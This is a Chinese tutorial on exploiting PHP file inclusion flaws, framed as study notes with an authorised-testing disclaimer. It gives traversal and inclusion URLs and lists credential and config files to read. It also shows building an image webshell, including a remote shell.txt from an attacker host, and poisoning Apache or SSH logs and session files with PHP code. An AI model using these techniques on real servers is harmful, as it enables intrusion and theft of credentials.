文件包含漏洞可以分为LFl(Local File Inclusion,本地文件包含)和RFI(Remote File lnclusion,远程文件包含)两种。而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_url_include。如果开启就有可能包含远程文件。
远程文件包含需要php.ini中allow_url_include=on,allow_url_fopen = On。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
包含同目录下的文件: ?page= test.php
目录遍历:?page=../../test.php
正常访问页面逻辑:
1、1.html
2、点击标签
3、跳转包含文件
攻击者思路: http://127.0.0.1/include/03/index.php?page=xxx.php
http://127.0.0.1/include/03/index.php?page=C:\windows-version.txt
Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //lIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
Linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
已经上传图片木马路径为: /2.jpg
制作图片马:copy 1.jpg/b+1.php/a 2.jpg
访问: http://127.0.0.1/include/03/index.php?page=2.jpg
allow_url_include开启
访问: http://目标机ip/include/03/index.php?page=http://操作机ip/shell.txt
找到Apache路径,利用包含漏洞包含日志文件获取Webshell。
Apache两个日志文件:access.log、error.log
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,将请求写入access.log,当发生错误时将错误写入error.log。
各字段分别为:客户端地址、访问者标识、访问者的验证名字、请求时间、请求类型、状态码、发送给客户端的字节数
当发现网站存在包含漏洞,但无webshell文件包含,也无上传点时?
当访问不存在的资源时,apache日志同样会记录。
如果访问:127.0.0.1/include/<?php phpinfo();?>,再包含access.log是否可行?
日志文件包含的攻击重点是什么?
日志默认路径
Apache
Apache + Linux日志默认路径
/etc/httpd/logs/access_log 或 /var/log/httpd/access_log
Apache+Windows日志默认路径
XAMPP套件:xampp\apache\logs\access.log
phpStudy套件:phpStudy\Apache\logs\access.log
IIS
IIS6 默认日志文件位置
C:WINDOWS\system32\Logfiles
IIS7 默认日志文件位置
%SystemDrive%\inetpub\logs\LogFiles
Nginx
nginx日志文件在用户安装目录的logs目录下
如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里
也可通过其配置文件nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)
把用户名写成"phpinfo",ssh的登陆日志就会把此次的登陆行为记录到日志中
ssh'<?php phpinfo();?>'@192.168.136.143
session简介:cookie存在客户端,session存在服务端,cookie-般用来保存用户的账户密码,session一般用来跟踪会话
利用场景:一般存在登陆点位置注册用户
利用条件:
session文件路径已知
session文件路径位置可以通过phpinfo页面来获取:session.save_path参数
也可以猜测常见的一些session存储位置:
/var/lib/php/sess_【PHPSESSID】
/tmp/sess_【PHPSESSID】
利用条件:
其中部分内容可控制
访问漏洞页面,在参数中构造payload
然后首要任务就是获取session文件名,可以通过burp抓包查看
文件名就是sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件
本文部分图片摘自深信服安全服务认证工程师课程课件中,为方便个人学习使用,勿作商用!!!!文字内容为自己手打,并非直接搬运!如有侵权,请联系删除!!!
本文档所提供的信息仅用于教育目的及在获得明确授权的情况下进行渗透测试。任何未经授权使用本文档中技术信息的行为都是严格禁止的,并可能违反《中华人民共和国网络安全法》及相关法律法规。使用者应当合法合规地运用所学知识,不得用于非法入侵、破坏信息系统等恶意活动。我们强烈建议所有读者遵守当地法律与道德规范,在合法范围内探索信息技术。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有